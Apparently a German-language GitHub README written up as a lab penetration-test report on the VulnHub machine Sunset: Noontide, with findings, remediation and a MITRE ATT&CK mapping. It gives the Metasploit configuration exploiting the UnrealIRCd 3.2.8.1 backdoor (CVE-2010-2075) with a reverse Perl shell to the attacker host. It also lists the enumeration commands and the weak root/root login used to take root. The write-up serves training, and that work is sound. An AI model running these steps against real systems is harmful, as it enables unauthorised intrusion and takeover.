
Beschreibung Professionelle Penetrationstest-Bewertung der Sunset: Noontide VulnHub-Maschine, einschließlich Reconnaissance, Service-Enumeration, CVE-2010-2075-Ausnutzung, Post-Exploitation, Privilegieneskalation und vollständiger Systemkompromittierung.
Eine professionelle Penetration-Testing-Bewertung und CTF-Walkthrough von Sunset: Noontide, einer absichtlich verwundbaren Maschine von VulnHub.
Dieses Projekt dokumentiert den vollständigen Penetration-Testing-Lebenszyklus, einschließlich Reconnaissance, Service-Enumeration, Schwachstellenforschung, Exploitation, Initial Access, Post-Exploitation, Privilege Escalation, Proof-of-Compromise, Risikobewertung, MITRE ATT&CK-Mapping und Remediation.
⚠️ Haftungsausschluss: Diese Bewertung wurde gegen eine absichtlich verwundbare Maschine in einer autorisierten Laborumgebung durchgeführt. Die hier dokumentierten Techniken und Befehle sind ausschließlich für Systeme bestimmt, für die eine ausdrückliche Autorisierung eingeholt wurde.
| Komponente | Details |
|---|---|
| Ziel | Sunset: Noontide |
| Plattform | VulnHub |
| Ziel-IP | 10.106.186.186 |
| Ziel-Hostname | noontide |
| Ziel-Betriebssystem | Debian GNU/Linux 10 (Buster) |
| Architektur | x86_64 |
| Angreifer-Plattform | Kali Linux |
| Angreifer-IP | 10.106.186.204 |
| Bewertungsart | Autorisierte Laborbewertung |
| Gesamtrisiko | KRITISCH |
| Bewertungsergebnis | Vollständige Systemkompromittierung |
Zielerkennung → Nmap-Enumeration → UnrealIRCd 3.2.8.1 identifiziert → SearchSploit → CVE-2010-2075 identifiziert → Metasploit-Exploitation → Remote Command Shell → Shell als server → Linux-Post-Exploitation → Schwache Root-Anmeldedaten → su root → UID 0 / Root-Zugriff → User- & Root-Proof-Dateien
Eine initiale Netzwerkerkennung wurde durchgeführt, um das verwundbare Ziel zu identifizieren.
Das Ziel wurde letztendlich identifiziert als:
10.106.186.186
Während der Reconnaissance wurde 10.106.186.142 als Standard-Gateway und nicht als das beabsichtigte Ziel identifiziert.
Dies unterstreicht die Bedeutung der korrekten Identifizierung des Ziels vor der Durchführung weiterer Sicherheitstests, insbesondere in einem gebrückten oder gemeinsam genutzten Labornetzwerk.
Eine Nmap-Service- und Versionserkennung wurde gegen das Ziel durchgeführt mit:
nmap -sV 10.106.186.186
Der bedeutende exponierte Dienst, der während der Bewertung identifiziert wurde, war:
6667/tcp open irc UnrealIRCd
Anschließend wurde ein detaillierterer Scan durchgeführt mit:
nmap -sC -sV -Pn -p 6667 10.106.186.186
Der Dienst wurde identifiziert als:
UnrealIRCd 3.2.8.1
Der IRC-Dienst meldete außerdem:
irc.foonet.com
Der exponierte UnrealIRCd-Dienst wurde zur primären Angriffsfläche, die während der Bewertung untersucht wurde.
SearchSploit wurde verwendet, um öffentlich dokumentierte Schwachstellen im Zusammenhang mit der entdeckten UnrealIRCd-Version zu untersuchen.
Befehl:
searchsploit UnrealIRCd 3.2.8.1
Das relevante Ergebnis war:
UnrealIRCd 3.2.8.1 - Backdoor Command Exec
linux/remote/16922.rb
Die Schwachstelle wurde identifiziert als:
CVE-2010-2075
UnrealIRCd 3.2.8.1 Backdoor Command Execution
Kritisch
Remote Command Execution
Eine erfolgreiche Ausnutzung des verwundbaren Dienstes ermöglicht es einem Angreifer, Befehle remote auf dem Zielsystem auszuführen.
Der verwundbare IRC-Dienst wurde mit dem Metasploit Framework ausgenutzt.
Das ausgewählte Modul war:
exploit/unix/irc/unreal_ircd_3281_backdoor
Beispielkonfiguration:
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST 10.106.186.186
Erste Payload-Versuche führten zu keiner nutzbaren Session.
Anschließend wurde eine kompatible Unix-Reverse-Perl-Payload ausgewählt:
set payload cmd/unix/reverse_perl
set LHOST 10.106.186.204
set LPORT 4444
run
Metasploit meldete, dass das Ziel verwundbar erschien, und öffnete erfolgreich eine Command-Shell-Session.
Die erhaltene Shell wurde verifiziert mit:
whoami
Ergebnis:
server
Dies bestätigte eine erfolgreiche Remote-Befehlsausführung als das Konto server.
Das initiale Arbeitsverzeichnis war:
/home/server/irc/Unreal3.2
Zu diesem Zeitpunkt ging die Bewertung von der Remote-Service-Exploitation zur lokalen Post-Exploitation-Enumeration über.
Nach Erlangung der Shell wurde eine standardmäßige Linux-Enumeration durchgeführt, um den kompromittierten Host zu verstehen und potenzielle Privilege-Escalation-Pfade zu identifizieren.
Befehl:
id
Ergebnis:
uid=1000(server) gid=1000(server)
Das Konto war ein Nicht-Root-Benutzer.
Befehl:
hostname
Ergebnis:
noontide
Befehl:
uname -a
Ergebnis:
Linux noontide 4.19.0-10-amd64 x86_64
Befehl:
cat /etc/os-release
Ergebnis:
Debian GNU/Linux 10 (buster)
Diese Befehle ermittelten die aktuelle Identität, den Hostnamen, die Kernel-Version, das Betriebssystem und die allgemeine Systemkonfiguration.
Es wurden mehrere standardmäßige Linux-Privilege-Escalation-Prüfungen durchgeführt.
Befehl:
find / -perm -4000 -type f 2>/dev/null
Standard-SUID-Binärdateien wie passwd, chsh, mount, umount, su, chfn, newgrp und gpasswd wurden identifiziert.
Es wurde keine offensichtliche benutzerdefinierte oder anomale SUID-Binärdatei als erfolgreicher Eskalationsvektor identifiziert.
Befehl:
sudo -l
Aus der verfügbaren Ausgabe wurde kein nützlicher sudo-basierter Privilege-Escalation-Pfad identifiziert.
Befehle:
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
Die beobachteten geplanten Aufgaben waren standardmäßige Systemaufgaben im Debian-Stil.
Es wurde kein offensichtlich beschreibbarer Root-Cron-Job identifiziert.
Befehl:
find / -writable -type f 2>/dev/null | head -100
Die ersten Ergebnisse waren hauptsächlich /proc-Pseudo-Dateien und offenbarten keinen praktischen Privilege-Escalation-Vektor.
Befehl:
getcap -r / 2>/dev/null
Aus der resultierenden Ausgabe wurde keine nützliche capability-basierte Privilege-Escalation identifiziert.
Der erfolgreiche Privilege-Escalation-Pfad basierte auf den absichtlich schwachen Root-Anmeldedaten, die auf der verwundbaren Maschine konfiguriert waren.
Auf das Root-Konto wurde zugegriffen mit:
su root
Passwort:
root
Der Root-Zugriff wurde anschließend verifiziert mit:
id
Ergebnis:
uid=0(root) gid=0(root) groups=0(root)
Die Identität wurde außerdem bestätigt mit:
whoami
Ergebnis:
root
Dies bestätigte die vollständige administrative Kontrolle über das Zielsystem.
Die Proof-Datei auf Benutzerebene befand sich unter:
/home/server/local.txt
Befehl:
cat /home/server/local.txt
Ergebnis:
c53c08b5bf2b0801c5d0c24149826a6e
Die Proof-Datei auf Root-Ebene befand sich unter:
/root/proof.txt
Befehl:
cat /root/proof.txt
Ergebnis:
ab28c8ca8da1b9ffc2d702ac54221105
Der Root-Proof gab außerdem zurück:
Thanks for playing! - Felipe Winsnes (@whitecr0wz)
Die Wiederherstellung beider Proof-Dateien bestätigt eine erfolgreiche Kompromittierung vom initialen Remote-Zugriff bis zur Kontrolle auf Root-Ebene.
| ID | Feststellung | Schweregrad | Auswirkung |
|---|---|---|---|
| VULN-01 | UnrealIRCd 3.2.8.1 Backdoor | 🔴 Kritisch | Remote Command Execution |
| VULN-02 | Schwache Root-Anmeldedaten | 🔴 Kritisch | Vollständige administrative Kompromittierung |
Schweregrad: Kritisch
Betroffener Dienst: IRC / TCP 6667
Betroffene Software: UnrealIRCd 3.2.8.1
CVE: CVE-2010-2075
Angriffstyp: Remote Command Execution
Beobachtete Auswirkung: Remote-Shell als server erhalten
Der exponierte UnrealIRCd-Dienst lief in einer verwundbaren Version, die mit einer bekannten Backdoor-Command-Execution-Schwachstelle verbunden ist.
Die Schwachstelle wurde durch Service-Enumeration und SearchSploit-Recherche identifiziert und erfolgreich mit Metasploit ausgenutzt.
Ein Angreifer, der den verwundbaren IRC-Dienst erreichen kann, könnte Befehle remote ausführen und unbefugten Zugriff auf den Host erlangen.
Schweregrad: Kritisch
Betroffenes Konto: root
Beobachtete Anmeldedaten: root / root
Beobachtete Auswirkung: Administrativer Zugriff mit UID 0
Das Root-Konto war mit extrem schwachen Anmeldedaten konfiguriert.
Nach Erlangung einer lokalen Shell als server wurde auf das Root-Konto unter Verwendung der schwachen Anmeldedaten zugegriffen und mit UID 0 verifiziert.
Ein Angreifer, der lokalen Shell-Zugriff erlangt, kann die schwachen Root-Anmeldedaten nutzen, um die vollständige Kontrolle über das Betriebssystem zu erlangen.
Ersetzen Sie die verwundbare UnrealIRCd-Installation durch eine vertrauenswürdige und unterstützte Version.
Überprüfen Sie die Softwareintegrität und die Paket-Herkunft vor der Bereitstellung.
Wenn die Softwareintegrität oder -herkunft unsicher ist, bauen Sie das System mit vertrauenswürdigen Installationsmedien und verifizierten Paketen neu auf.
Ersetzen Sie Standard- und schwache Anmeldedaten durch starke, eindeutige administrative Anmeldedaten.
Verwenden Sie keine einfachen Passwörter wie root.
Wenn IRC erforderlich ist, beschränken Sie den Zugriff mit:
Pflegen Sie einen dokumentierten Patch-Management-Prozess für das Betriebssystem und alle exponierten Dienste.
Protokollieren und überprüfen Sie:
Der Host Sunset: Noontide wurde erfolgreich vom initialen Netzwerkzugriff bis zur vollständigen Kontrolle auf Root-Ebene kompromittiert.
Die primäre Initial-Access-Schwachstelle war die UnrealIRCd 3.2.8.1 Backdoor (CVE-2010-2075).
Die Schwachstelle ermöglichte Remote Command Execution und führte zu einer initialen Shell als das Konto server.
Anschließend wurde eine Post-Exploitation-Enumeration durchgeführt, einschließlich SUID-, sudo-, cron-, beschreibbare-Datei-, Linux-Capability-, Identitäts-, Betriebssystem- und Dateisystem-Prüfungen.
Diese Prüfungen identifizierten nicht den erfolgreichen Eskalationsweg.
Vollständiger administrativer Zugriff wurde letztendlich durch die schwachen Root-Anmeldedaten der Maschine erreicht.
Die erfolgreiche Wiederherstellung sowohl der Proof-Datei auf Benutzerebene als auch auf Root-Ebene bestätigte eine vollständige Systemkompromittierung.
KRITISCH — Vollständige Systemkompromittierung erreicht
Ein detaillierter professioneller Penetration-Testing-Bericht ist diesem Projekt beigefügt:
Sunset-Noontide-Penetration-Testing-Report.pdf
Der Bericht enthält:
Vorgeschlagene Repository-Struktur:
sunset-noontide-pentesting/
├── README.md
├── Sunset-Noontide-Penetration-Testing-Report.pdf
└── evidence/
├── 01-target-discovery.png
├── 02-nmap-enumeration.png
├── 03-searchsploit.png
├── 04-metasploit-exploitation.png
├── 05-initial-shell.png
├── 06-post-exploitation.png
├── 07-privilege-escalation.png
└── 08-root-proof.png
Screenshots sollten ausschließlich Informationen aus der autorisierten Laborumgebung enthalten.
Diese Bewertung lieferte praktische Erfahrung in:
Dieses Repository ist ausschließlich bestimmt für:
Die in diesem Repository dokumentierten Techniken dürfen nur gegen Systeme durchgeführt werden, für die eine ausdrückliche Autorisierung eingeholt wurde.
Verwenden Sie diese Techniken nicht ohne Genehmigung gegen Produktionssysteme, öffentliche Infrastruktur oder Systeme Dritter.
Alen Sales K S
Cybersecurity | Penetration Testing | SOC | Network Security
GitHub: https://github.com/zales2004
Sunset: Noontide demonstriert einen vollständigen Penetration-Testing-Workflow:
Reconnaissance → Enumeration → Schwachstellenforschung → Exploitation → Initial Access → Post-Exploitation → Privilege Escalation → Root-Zugriff → Beweissicherung → Risikobewertung → Sicherheitsberichterstattung
Bewertungsergebnis: KRITISCH — Vollständige Systemkompromittierung erreicht
| Technik | ID | Beobachtete Aktivität |
|---|
| Network Service Scanning | T1046 | Nmap-Enumeration |
| Exploit Public-Facing Application | T1190 | Ausnutzung des exponierten UnrealIRCd-Dienstes |
| Command and Scripting Interpreter | T1059 | Remote Command Shell |
| Valid Accounts | T1078 | Verwendung von Root-Anmeldedaten |
| Account Discovery | T1087 | Identitäts- und Benutzer-Enumeration |
| System Information Discovery | T1082 | uname und /etc/os-release |
| File and Directory Discovery | T1083 | Dateisystem-Enumeration |
| Scheduled Task/Job Discovery | T1053 | Cron-Enumeration |
| Permission Groups Discovery | T1069 | id und Gruppen-Enumeration |
| Phase | Aktivitäten |
|---|
| Reconnaissance | Netzwerkerkennung und Zielidentifizierung |
| Enumeration | Nmap-Service-/Versionserkennung |
| Schwachstellenforschung | SearchSploit und Identifizierung von Metasploit-Modulen |
| Exploitation | Ausnutzung der UnrealIRCd-Backdoor |
| Initial Access | Command Shell als server |
| Post-Exploitation | Identitäts-, OS-, Dateisystem- und Berechtigungs-Enumeration |
| Privilege Escalation | SUID-, sudo-, cron-, beschreibbare-Datei- und Capability-Prüfungen |
| Beweissicherung | User- und Root-Proof-Dateien |
| Berichterstattung | Feststellungen, Risikoanalyse und Remediation |
| Ziel | Status |
|---|
| Ziel identifiziert | ✅ PASS |
| Exponierter Dienst identifiziert | ✅ PASS |
| Verwundbare Version identifiziert | ✅ PASS |
| CVE identifiziert | ✅ PASS |
| Remote Command Execution | ✅ PASS |
Initiale Shell als server | ✅ PASS |
| User-Proof wiederhergestellt | ✅ PASS |
| Privilege Escalation | ✅ PASS |
| Root-Zugriff verifiziert | ✅ PASS |
| Root-Proof wiederhergestellt | ✅ PASS |